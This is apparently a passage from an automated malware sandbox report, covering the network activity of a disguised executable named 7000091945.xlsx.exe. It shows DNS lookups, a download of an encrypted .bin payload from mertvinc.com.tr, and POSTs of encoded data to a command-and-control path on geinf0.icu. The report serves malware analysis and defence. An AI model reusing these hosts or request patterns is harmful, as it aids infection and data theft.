Nov 5, 2024 12:43:41.762389898 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:41.763819933 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:41.763883114 CET	49712	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:41.768585920 CET	80	49712	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:44.710082054 CET	49710	80	192.168.2.8	185.244.144.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 12:43:29.157023907 CET	51634	53	192.168.2.8	1.1.1.1
Nov 5, 2024 12:43:29.420546055 CET	53	51634	1.1.1.1	192.168.2.8
Nov 5, 2024 12:43:31.500113010 CET	58764	53	192.168.2.8	1.1.1.1
Nov 5, 2024 12:43:31.564841986 CET	53	58764	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 5, 2024 12:43:29.157023907 CET	192.168.2.8	1.1.1.1	0x5b09	Standard query (0)	mertvinc.com.tr	A (IP address)	IN (0x0001)	false
Nov 5, 2024 12:43:31.500113010 CET	192.168.2.8	1.1.1.1	0xe362	Standard query (0)	geinf0.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 5, 2024 12:43:29.420546055 CET	1.1.1.1	192.168.2.8	0x5b09	No error (0)	mertvinc.com.tr	185.244.144.68	A (IP address)	IN (0x0001)	false
Nov 5, 2024 12:43:31.564841986 CET	1.1.1.1	192.168.2.8	0xe362	No error (0)	geinf0.icu	188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 5, 2024 12:43:31.564841986 CET	1.1.1.1	192.168.2.8	0xe362	No error (0)	geinf0.icu	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mertvinc.com.tr

geinf0.icu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	185.244.144.68	80	8132	C:\Users\user\Desktop\7000091945.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 12:43:29.442488909 CET	181	OUT	GET /OGDTCbBRybqnXF193.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: mertvinc.com.tr Cache-Control: no-cache
Nov 5, 2024 12:43:30.365854979 CET	1236	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: application/octet-stream Last-Modified: Thu, 31 Oct 2024 20:52:34 GMT Etag: "1c040-6723ee12-e648f201888429c5;;;" Accept-Ranges: bytes Content-Length: 114752 Date: Tue, 05 Nov 2024 10:50:31 GMT Server: LiteSpeed X-Powered-By: PleskLin Data Raw: 84 01 1b ab 15 ad d2 ff eb cb 07 e0 f7 f0 77 34 d6 7b ad c3 de 76 2f 5e c1 aa 49 08 c8 9f a0 66 ba f6 69 81 93 e0 69 f7 4f 1c a3 6e 2f 39 ce 35 17 af c2 f4 af 88 c5 9b a5 93 8d 4d 83 47 4a 11 b5 3a 29 24 49 fd aa e3 02 d0 dd 22 37 83 45 b3 81 3e 56 c2 5a 1d 9d ba f6 3f ab 77 e5 ca 69 2e 12 82 df 20 ca 81 03 89 a3 35 52 1d 55 c2 aa 57 75 04 76 92 a9 a8 e1 7f 95 fe 0e f1 61 c3 27 86 ec 4f 22 e0 df 0a 6d a8 33 b9 7b 70 2a 09 48 fe 09 94 40 2a 05 49 d3 07 67 95 8e 51 f8 ee cb 2d 1a 0d 19 ad df 0d a5 52 be cb 68 6f b8 11 ba 38 8a 8a 2a 98 c9 d2 60 f3 2b d2 7c ee 2a c4 39 4e a6 66 f2 b6 d1 f6 cc 72 49 46 d7 f9 2b a6 35 c2 80 91 e4 1c 00 d0 7e 1e 77 02 da 4e 99 24 a0 f3 7a 80 f3 a6 da 8b 70 42 e0 18 47 f7 e9 ce cd 05 64 ee bb 13 fa 54 fb 7f 69 f9 ae f4 b0 c3 ed 4d 78 dd 12 ba 81 71 2f 67 66 0a 5e 3f ba 3d 8c 52 5c 97 e7 48 c0 b5 a1 cf 86 77 5c d1 2e d0 c5 dc ac fd 16 eb e4 08 5d 3a 97 f6 3e 9e ef 5e e3 57 8f c5 6c 95 2b e6 78 84 a0 d2 ca 57 66 c3 29 b6 c3 6d a0 2d ed 21 bb 1b 45 60 e9 fa ca a7 2a a7 83 64 [TRUNCATED] Data Ascii: w4{v/^IfiiOn/95MGJ:)$I"7E>VZ?wi. 5RUWuva'O"m3{pH@IgQ-Rho8`+\|9NfrIF+5~wN$zpBGdTiMxq/gf^?=R\Hw\.]:>^Wl+xWf)m-!E`*d1lY1t4\|".n@Wc/Bg/%7UBphwA\|WJV-u+ezhx)gyo&$b6V56I4BX?=~4~1dONQdg\p1T(8JD(U38]i#/k_`R @v n{+qd8seI,[R-/NZ7JS1T-cgaFy=)VCT'!&4al<cwn2\|@X72A?F"nu,i2PkkR\|uK_psOv+@)Y\|xGDIU}VdUi <\|x-dE086~GkNjwVRWLIz/."DJ$)lrWvVf&hd_7=nwR&jom!l}a.Zt3R7UPiek7'
Nov 5, 2024 12:43:30.365876913 CET	1236	IN	Data Raw: 75 62 cb 02 7a c0 d7 c6 e4 5a 4e 4d df 97 55 c9 fb 8a 5c b5 2f f8 9e 16 d3 3e 10 9d 38 1a 44 1d 76 fb 62 5e f0 97 a7 0a 26 9e 73 9b 24 78 b3 33 84 c0 5d f5 cc d8 ed 86 93 a7 4f ca 35 66 10 98 fa 72 2d 61 f8 20 fd 69 ec a5 8a 01 8c 5c 02 38 c2 ca Data Ascii: ubzZNMU\/>8Dvb^&s$x3]O5fr-a i\8$nIe0'PB8wQUE>HbV<Ozj~tSh?GKfF/;(38PLcnqS/d[BtL^WL^m3k zm:a$bS;KPQ!y@:{
Nov 5, 2024 12:43:30.365890980 CET	603	IN	Data Raw: 17 26 9b fd 18 bf 10 2d b5 db 97 e9 19 00 f3 72 d7 88 a4 1c ac dd fb 36 ce 97 82 97 7e 23 a4 38 c8 f3 a6 01 6c 1f 99 6e fb 39 4c 9c b3 93 36 1e f0 22 e3 7b cf aa ae a4 29 93 82 14 3c 52 06 93 7a a9 56 ff db d9 93 c7 34 44 18 11 74 ce 81 05 0b ac Data Ascii: &-r6~#8ln9L6"{)<RzV4Dt$k-}_?DhaAv-uv]('sX2+2FR'&sO{E6VO5f9vm^^\wI]L89i0SIG)zuYEa6AF8'4-E#TSoRJ*
Nov 5, 2024 12:43:30.365911961 CET	1236	IN	Data Raw: fd 44 22 6d 09 9c 6e 01 f1 72 5d e6 27 f3 f3 d4 ee 65 96 ba ef 63 fa b0 87 c3 18 1b 18 e7 5b a5 73 04 7a 67 fa ab 8b 27 bc 6a 8f d6 3d 9a 82 a4 77 ec 74 85 5b cc 23 5a c3 4a dd e2 5d 90 dc e4 19 2b 23 d8 84 3b d4 59 21 ee c1 c6 b2 55 9d bb 86 b3 Data Ascii: D"mnr]'ec[szg'j=wt[#ZJ]+#;Y!U}^j~;&Nt6_Xv+M%1X^nqZFz31iZL(\0yXLEm})wp:x_sjN}eAB\|\Rf4t;
Nov 5, 2024 12:43:30.365943909 CET	1236	IN	Data Raw: 66 d5 79 aa 2c 75 57 22 ac 27 34 df 4b da cd 9b bd 8d 37 3c c6 ac 17 1a fa 5e d3 88 9d da d3 4c 8f 6e d7 4e 55 05 01 c1 50 9a c5 75 b4 cb 9f f2 27 e2 fd aa e3 86 a4 d9 07 34 83 ba cc 3a c6 55 1a d1 1e 35 b8 c3 2c 3a 84 6e 0c 81 76 ec 7d 20 ab 8c Data Ascii: fy,uW"'4K7<^LnNUPu'4:U5,:nv} q>Im+_Q2r_(((<'\])N1*iE2fH_dI`W"c7M.'cq(bjMN&bA@0@WsR;=f5D~
Nov 5, 2024 12:43:30.365957022 CET	304	IN	Data Raw: 1c f6 2b ca c2 f5 6d e0 8f 35 ee 2a b0 59 bf 19 6a 06 1c 8c ed 22 e8 94 87 1e c0 be 67 fb cd 33 b7 41 5b c2 ce e3 30 f2 0f cb 5e a3 6f bc 9f be fe 83 37 46 27 7b 89 51 9c 0b 0a 51 ce f8 37 63 b9 ee 15 e1 54 c5 31 1e 26 85 e0 05 03 57 f4 19 cc c5 Data Ascii: +m5Yj"g3A[0^o7F'{QQ7cT1&Wo}}u0DG%LP9#Rv/;AYlrU\|B/-!K9If&G).G3qT{W9Wh=F#Ip{%ez< m$f])D8h3.T^Jv^P
Nov 5, 2024 12:43:30.365977049 CET	1236	IN	Data Raw: f3 8e d0 87 a1 18 b1 34 e8 ba 88 8e a2 6d 53 1f 71 04 f3 fc 93 f5 d2 fc 47 01 ee 4d 78 5d 66 b5 46 74 9f a2 27 0a 54 3f ba 3d 65 e4 5c 97 e7 c3 06 9e 63 f4 d6 7f 28 de e9 d5 75 19 ed fd 1c eb e4 08 b4 a4 97 f6 3e 9d 35 d5 13 bf db 3d 93 6a aa 05 Data Ascii: 4mSqGMx]fFt'T?=e\c(u>5=j{_AeN 7u#+CvGn\|[N?#PcwR'SIn<Ky^JV-^B>/~jyMa@AcC&j&_Us6@._IA_OP
Nov 5, 2024 12:43:30.366019964 CET	152	IN	Data Raw: e1 3a a6 9f 75 4b c0 6a 54 e1 92 9c 05 2b 21 34 c4 52 cd 89 26 6c dd db 00 78 5d ed ea 78 3b 5b 83 8f 62 5d ed 50 5c 88 e8 68 e4 3b 0f 11 f9 2c b8 ae 3b d4 59 a4 64 29 40 f9 3a a2 5a d2 c0 3f 76 f7 50 3c 4d 57 82 2a 84 40 c7 03 52 e6 f7 e6 e3 93 Data Ascii: :uKjT+!4R&lx]x;[b]P\h;,;Yd)@:Z?vP<MW@RrQY%K12h#j}n8])i\|k1g\?J_;
Nov 5, 2024 12:43:30.366075993 CET	1236	IN	Data Raw: 08 4f df 90 dd 61 5c 6f ce d6 ef 7f 22 2d 9e ef d5 3c dc b1 f6 9a 7e 7a da 5a f1 98 81 22 8d 8f 3c d6 3d 4b c3 b5 7e 49 f0 57 e4 a3 05 68 a6 c1 2d 39 2f 97 53 41 97 cc 08 c8 e7 8c a5 ea 80 f2 5f 0c be 94 cd f4 0f 7c 56 fc 7d 02 00 a8 a8 1a 09 bb Data Ascii: Oa\o"-<~zZ"<=K~IWh-9/SA_\|V}leQ^fd/16=1 ?pr.K~r\|2xhLZ +E&tbV'h!D35d(w'?g6X<^1eAI<1d/_t(G8\
Nov 5, 2024 12:43:30.366089106 CET	1236	IN	Data Raw: 6a c5 7e ed 31 5e 77 f6 cc 72 c2 85 3f 76 d2 59 ca 99 43 01 67 dc d8 5b 7e dd fc c2 5e 9c ed 2c 23 37 8a 68 e7 a7 da 8b f4 90 94 17 af 94 e8 ce cd 61 eb eb bb 13 fa 54 78 bb 65 3a 46 97 b1 c3 ed c9 aa a3 17 52 c3 70 2f 67 a5 9a db ff ce 3a 3e 53 Data Ascii: j~1^wr?vYCg[~^,#7haTxe:FRp/g:>S<vX{Nt%_sd]g]wi3H\S"JAdqr=z\_eEnB0y1Q#<AATdp^w9QquwyYlM8Ven
Nov 5, 2024 12:43:30.371033907 CET	1236	IN	Data Raw: d1 2d 01 37 22 b8 b7 77 b9 48 67 6f 8b 55 c2 6a 28 64 70 4b bf 3a a8 e1 bf e1 d0 46 85 72 8a 53 a2 bd 65 0f 13 c0 be a4 11 3d 82 92 01 93 0e 33 42 ed 34 c2 73 95 f0 4a 4e b0 2a 04 1e 68 4c 55 40 de e5 90 d2 4f a8 3b 2a 2e 70 ed 19 6d bb 71 61 53 Data Ascii: -7"wHgoUj(dpK:FrSe=3B4sJNhLU@O;.pmqaS>t;f=$(5I@xw$p5%DTL+"yEg6bd=I'>g=W\|@1X?jo{rWX-Il!IB*"J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	188.114.96.3	80	8132	C:\Users\user\Desktop\7000091945.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 12:43:31.571254015 CET	272	OUT	POST /TL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: geinf0.icu Content-Length: 109 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 ec 26 66 9a 26 66 99 26 66 9a 26 66 9f 26 66 9e 46 70 9d 35 70 9c 47 16 8b 30 6c 8b 30 66 ef 45 16 8b 30 61 8b 30 66 8b 31 11 e8 26 66 97 26 66 9f 46 70 9d 31 70 9d 3a 70 9d 32 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p41&f&f&f&f&fFp5pG0l0fE0a0f1&f&fFp1p:p2p0
Nov 5, 2024 12:43:33.236819983 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTw8os0m%2FTrDnwSM%2F%2BdyBqB6jyxy4e6Qj8gG9YW69nlJ8UnhIOhj1jXrKmpaHuOPkIprP7OHg7G3kljYlba3U3UvjQv2MrG6l4AxHZMs0hrgT4lnOcizTl0j4I6N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddc96318f94e8f9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1353&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=272&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 33 35 32 63 0d 0a 3f 36 90 4f 06 dd 77 1e d7 33 21 e2 50 65 dc 4f 04 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4e 2f ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 7b 1b d4 4e 20 e3 69 00 9e 4f 3f e7 32 18 ed 37 66 e0 69 25 f8 56 22 9e 48 69 81 60 6b 92 6d 6b 07 16 0c 82 a6 43 b3 75 f4 a5 1e 37 09 14 00 82 a8 5f f0 71 f2 a7 56 79 0a 57 48 9e e6 00 b0 66 f1 a7 09 19 3c f6 65 ac cb 30 9e 06 9d cb 33 ab 99 66 65 17 cb 30 9e 02 9d cb 33 14 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 ec 66 66 65 a1 d4 8a 90 02 29 c2 fe 75 de 67 29 62 ea 64 f6 6b ee eb 43 26 09 01 17 ce a6 10 [TRUNCATED] Data Ascii: 352c?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:N/Ih!ReP{N iO?27fi%V"Hi`kmkCu7_qVyWHf<e03fe03ffe03Tffe03Tffe03ffe)ug)bdkC&c\ FE")5ET,9pffe0j0U1UjC1UP[j0
Nov 5, 2024 12:43:33.236839056 CET	1236	IN	Data Raw: 4e 9c c9 33 d5 dc 44 c9 af cb 30 9e 02 9d cb 33 b4 66 64 44 a4 ca 3e 94 02 9b cb 33 54 62 66 65 af cb 30 9e 02 9d cb 33 54 76 66 65 af eb 30 9e 02 9d cb 23 54 76 66 65 af c9 30 9e 08 9d cb 33 5e 66 66 65 a5 cb 30 9e 02 9d cb 33 54 56 66 65 af c9 Data Ascii: N3D03fdD>3Tbfe03Tvfe0#Tvfe03^ffe03TVfe03Wf&`43Tfve03Dffe0)3Tffe03efe03Tjfe03Tffe0V3Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Nov 5, 2024 12:43:33.236850977 CET	1236	IN	Data Raw: 76 ef a7 7b 35 08 02 09 ca b9 30 f5 67 ef a5 56 38 55 54 4b fc ae 44 dd 6d f3 b8 5c 38 03 25 11 dd a7 78 ff 6c f9 a7 56 26 66 35 00 db 88 5f f0 71 f2 a7 56 19 09 02 00 af a0 55 ec 6c f8 a7 00 66 48 35 00 db 88 5f f0 71 f2 a7 56 19 09 02 00 af 9c Data Ascii: v{50gV8UTKDm\8%xlV&f5_qVUlfH5_qVBv\:0gV8UTKYg]'gkp;gi]1UWBv\:03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Nov 5, 2024 12:43:33.236872911 CET	1236	IN	Data Raw: 6d 9d ad 33 20 66 46 65 ec cb 5f 9e 70 9d bb 33 3b 66 14 65 ce cb 44 9e 6b 9d a4 33 3a 66 48 65 8f cb 71 9e 6e 9d a7 33 74 66 14 65 c6 cb 57 9e 6a 9d bf 33 27 66 46 65 dd cb 55 9e 71 9d ae 33 26 66 10 65 ca cb 54 9e 2c 9d cb 33 6a 66 6d 65 ae cb Data Ascii: m3 fFe_p3;feDk3:fHeqn3tfeWj3'fFeUq3&feT,3jfmep33feQn3=fe^c31ffe@k31feDw3Tffe3&feEa3feU3feBm3;fe"3=fe_u3fFe@g35fe^e3feDg
Nov 5, 2024 12:43:33.236903906 CET	848	IN	Data Raw: 16 78 ac 05 01 39 d6 9c fd 0e 9c d5 d4 f3 fe 8c dc 5c cb 20 00 fb 2f 98 01 c8 d6 10 50 7e 56 73 2f df 13 aa fa 44 99 75 24 6c 8b 25 54 bd cb 2d 29 2d 08 06 e7 69 56 31 a9 c8 65 83 1d 99 86 03 1f 56 2f c5 e8 6b 75 18 41 f5 bf 47 24 5c 49 4a cc b9 Data Ascii: x9\ /P~Vs/Du$l%T-)-iV1eV/kuAG$\IJ\oA;SoX=I@mP I(BqGQrrz6)6Qagd2;`g`G \JG,P&mC?ID-P&doG55p Re3x<
Nov 5, 2024 12:43:33.236922026 CET	1236	IN	Data Raw: dc a4 56 ea 22 de a4 41 24 09 14 04 db a2 5f f0 32 1f ca 11 64 6b 60 6c 85 4d 78 18 f5 90 ca 32 55 63 66 66 2d ca 3f 9e 32 1f ca 39 56 e4 67 64 af 52 5e 83 51 c8 60 ae e6 d4 7d 38 ec 04 37 49 3e d6 2a 0d 20 c2 fd d7 ee 01 52 cf b8 d5 af f4 a6 5e Data Ascii: V"A$_2dk`lMx2Ucff-?29VgdR^Q`}87I>* R^54d*nzE;1pHRrFxO)vD^9= ;M?PS^v`cyWkSwc"6d+&_s+vtu5LL>$&\|E,
Nov 5, 2024 12:43:33.236973047 CET	1236	IN	Data Raw: ae e9 00 93 04 94 e1 b5 1c e0 91 68 ae ca 31 9b 02 9e 49 32 5b 66 56 e7 ae c1 32 1c 03 9c cb 81 26 3f 3a 7c 9f af 8f 83 98 fd eb 13 16 ff 10 36 c3 f5 2b 48 6d 51 00 c2 be 0d 98 f2 b9 db d0 41 38 e9 48 29 e3 49 c6 57 43 34 ee 5c 40 d3 e8 e6 26 66 Data Ascii: h1I2[fV2&?:\|6+HmQA8H)IWC4\@&fPT(F#{aRa@t8l49o+l&0_c79{:@cF,k_)FV@6W]cAu+Q(X<5:(3-0
Nov 5, 2024 12:43:33.237060070 CET	1236	IN	Data Raw: b9 c8 53 f1 6f ac d2 03 43 60 6c 6c 3d ed b9 0d f0 b1 af 32 4d 70 6f 08 c6 a8 42 f1 71 f2 ad 47 65 4b 56 4e a9 c8 65 9a 01 8e ef 7e 3d 05 14 0a dc a4 56 ea 22 cf a4 5c 20 46 25 00 dd bf 59 f8 6b fe aa 47 31 46 27 10 db a3 5f ec 6b e9 b2 03 4a 71 Data Ascii: SoC`ll=2MpoBqGeKVNe~=V"\ F%YkG1F'_kJqkU1gV_?2eUVVju]`e0#W dw`f8@<^5W3bbbf]0WxU3&_v\&YlK`e0#OA;do` s2dk`lMx
Nov 5, 2024 12:43:33.237071991 CET	1236	IN	Data Raw: b1 a6 2f 1c f2 96 0c 1f ef a9 25 d6 4a 32 dc e3 b7 7e 6f 9b 20 53 de 2b 6a ba 13 8c 24 eb c0 0f 06 ea 17 3f e9 88 24 22 b1 2e 7b 7e 33 ae f9 27 50 4b 49 bf 82 03 de 03 32 8e 24 77 f1 d1 f8 00 20 bc 1b 70 bd 4d 8f de 5b 83 fc b2 d6 45 f9 b3 18 40 Data Ascii: /%J2~o S+j$?$".{~3'PKI2$w pM[E@L-jtTrm_vv"G-,"att%\,BEV-y?/{-P2`{{,9*GFvITtDy .%zgB;:aaXo+}w1
Nov 5, 2024 12:43:33.237085104 CET	848	IN	Data Raw: 29 3c 3d 9f 03 98 ce 33 50 e4 67 65 c0 73 a1 99 f5 49 fa d3 a5 5b d1 1d 15 00 7b 3f e8 1b 69 f7 67 cb bf 4c 93 19 29 7e 3a 06 90 e2 55 67 88 08 5d 81 32 3b 0d 60 3c 8d 0a 9b b5 b0 ad a6 e7 db d7 9c 34 5e 66 b5 68 b6 31 06 0b 3e 83 fb 71 c4 18 6a Data Ascii: )<=3PgesI[{?igL)~:Ug]2;`<4^fh1>qj8md`O}UXw9?bRU6gb-5}#?%HAQWhLkKe.ddu9-tEA=c?Uakio~QKGUpC
Nov 5, 2024 12:43:33.241909981 CET	1236	IN	Data Raw: ae 1f 59 07 10 0c 89 9e 7b 9c b8 1c 5e 95 01 5c 47 a4 66 91 5f 3f a5 e6 18 7f fa 78 03 0e 3e 96 15 92 f7 19 96 42 c1 cb d4 1f 69 c5 d9 d1 14 17 12 12 22 1a 5f 3c 5f bd 40 83 76 20 c3 9a 44 11 b4 cf 2b ca 61 8d 97 59 37 42 3b ec 95 85 a5 f6 6d 07 Data Ascii: Y{^\Gf_?x>Bi"_<_@v D+aY7B;mw(Z]X'GamKaP6"CJ9RY.v+X:l]uQye@,]23(B9u3Udt5W3{@5Ubg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	188.114.96.3	80	8132	C:\Users\user\Desktop\7000091945.xlsx.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 12:43:38.193197966 CET	165	OUT	POST /TL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: geinf0.icu Content-Length: 25278 Cache-Control: no-cache
Nov 5, 2024 12:43:38.193242073 CET	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 ec 26 66 9a 26 66 99 26 66 9a 26 66 9f 26 66 9e 46 70 9d 35 70 9c 47 16 8b 30 6c 8b 30 66 ef 45 16 8b 30 61 8b 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p41&f&f&f&f&fFp5pG0l0fE0a0f1&f&fFp1p:p2p0)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0c0d0e0l0f0ek f'p3)0e&fp2p5)@`;bAx6m.b:f7b@x4`5`5lB`
Nov 5, 2024 12:43:38.198414087 CET	1236	OUT	Data Raw: 53 10 fc 45 10 fd 55 1f ea 45 11 fb 40 07 fc 4e 16 eb 51 0c e8 42 1a e6 56 1e eb 54 17 fc 4b 1c f6 55 14 e2 4a 1a ec 50 00 f4 4a 03 e5 52 1f f7 52 17 f7 54 02 ff 41 01 ff 45 06 e3 45 16 e3 4b 1d e4 44 0f f9 59 14 e7 42 03 e6 41 0d e9 5a 1f fd 4c Data Ascii: SEUE@NQBVTKUJPJRRTAEEKDYBAZLHYIKVAVPBFIEFGVH@Q@FMAVMRYIV@MOUJ[ATJOLTEAFVAZWGEJYRK
Nov 5, 2024 12:43:38.198436975 CET	2472	OUT	Data Raw: 59 0d f4 40 1d e4 59 12 fb 5b 10 ed 50 03 e0 57 16 e2 52 02 f8 5a 00 e7 56 0d f6 56 1d ec 55 07 f9 44 18 e7 53 19 e2 41 01 e1 4c 1f f9 44 10 e8 44 1c ec 50 01 eb 4c 10 fb 40 1c ec 59 01 f7 4f 13 fa 47 12 ea 40 19 e8 44 1c e7 46 1f f4 4d 1f ff 51 Data Ascii: Y@Y[PWRZVVUDSALDDPL@YOG@DFMQPGHBWEMFLVVRFZOWRNBELBJLLO[UFQ@ADYOKHRYWBNHOJAAHQBQBO
Nov 5, 2024 12:43:38.198471069 CET	2472	OUT	Data Raw: 0e 5f fe 48 56 aa 17 55 ae 03 55 ae 03 55 ae 03 bb 40 92 1c ac 07 55 ae 01 51 ae 03 77 ae 03 55 e8 6a 39 cb 70 09 9c 5f 1b eb 41 13 ff 52 0c f9 53 06 f2 59 04 e7 5b 18 f8 52 12 ef 4b 7b d6 6f 26 d6 59 04 e7 5b 18 f8 52 12 ef 4b 11 e7 57 11 e4 59 Data Ascii: _HVUUU@UQwUj9p_ARSY[RK{o&Y[RKWYAN@TWOSDSWVLKR[KIGEKK@PRYFRVTWFRPJYHJET@NKPWSFL[WJHDD
Nov 5, 2024 12:43:38.198488951 CET	2472	OUT	Data Raw: 49 0c ef 49 07 fd 41 17 ff 53 12 ef 48 01 e6 55 1d e3 52 19 f6 5a 04 e9 41 12 e4 46 1e f6 4d 1b e4 41 0f fc 4c 1b ed 52 07 f6 50 0d e9 41 1a ea 4b 13 eb 4b 0d e2 50 11 e0 48 0f e5 4c 0c e9 52 02 fa 42 02 ed 5a 13 f4 54 16 ef 42 06 ea 46 16 e5 59 Data Ascii: IIASHURZAFMALRPAKKPHLRBZTBFYEOYBLZMH@DTIEFAU[P[OATEPVOAQWNPFMMEJNGJ[EAOOUYOOBVFKY
Nov 5, 2024 12:43:38.198538065 CET	2472	OUT	Data Raw: 60 3d c1 70 21 80 66 2d cb 0e 5f a7 0a 26 d8 60 3d c1 70 21 80 66 2d cb 0e 5f a7 0a 26 d8 60 3d c1 70 21 80 66 2d cb 0e 5f a7 0a 26 d8 60 3d c1 70 21 80 66 2d cb 0e 5f a7 0a 26 d8 60 3d c1 70 21 80 66 2d cb 0e 5f a7 0a 26 d8 60 3d c1 70 21 80 66 Data Ascii: `=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_\w3l;f-_&`=p!f-_&`=p!f-_&`=p!f-_&`=p!f-_\b&l&-0fX\u6l&-0fX\u6
Nov 5, 2024 12:43:38.198591948 CET	2472	OUT	Data Raw: 44 10 f7 54 1e d9 49 0f f9 65 18 f9 2d 30 d6 66 58 a4 0a 10 e7 50 2c ca 5a 3c c0 6e 32 cc 76 19 e9 46 0c f9 48 22 e4 59 02 c8 4e 02 80 66 2d cb 0e 5f a7 46 1c fd 7a 31 f7 6a 3b c3 64 37 db 4f 12 eb 5a 02 e5 74 1f f4 54 33 e3 54 7b cb 7b 30 a3 09 Data Ascii: DTIe-0fXP,Z<n2vFH"YNf-_Fz1j;d7OZtT3T{{0\Jgm8a DTIe-0fXP,Z<n2vFH"YNf-_Fz1j;d7OZtT3T{{0\Jgm8a DTIe-0fXP,Z<n2vFH"YNf-_
Nov 5, 2024 12:43:38.198611975 CET	558	OUT	Data Raw: 50 7b ca 6c 36 d6 53 1e af 01 5b ae 0d 55 ae 03 55 ae 03 55 ae 03 bb 40 92 1c ac 07 55 ae 01 51 ae 03 77 ae 03 55 ae 03 55 ae 02 55 8e 03 55 ae 01 62 ae 03 13 c7 6f 30 dd 5f 67 f2 4d 10 ec 45 04 ff 5a 02 fe 50 09 f4 52 1c f6 4e 03 ff 44 14 e6 2d Data Ascii: P{l6S[UUU@UQwUUUUbo0_gMEZPRND--p-HTUUUU/WUU!UUUuU8UE<f&1SFW_HORg:{W[UUUQWUUUT#UUj9p_HORMEZP{
Nov 5, 2024 12:43:41.761744976 CET	808	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 11:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bu%2Fy9t4LYvtF6vLSkTaCKwXg6qAZf5r5QZ4lwbTIuhTZ5HqpMSZAdN3SW0VH3bSJ7Gaao6N1Ar%2F3SUywfPiH5fUj4Nyd%2BA1S%2F8Gz8MbqgSq9Ar8g41lzYAnGMbLY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddc965b0a13e803-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1420&sent=13&recv=27&lost=0&retrans=0&sent_bytes=0&recv_bytes=25443&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 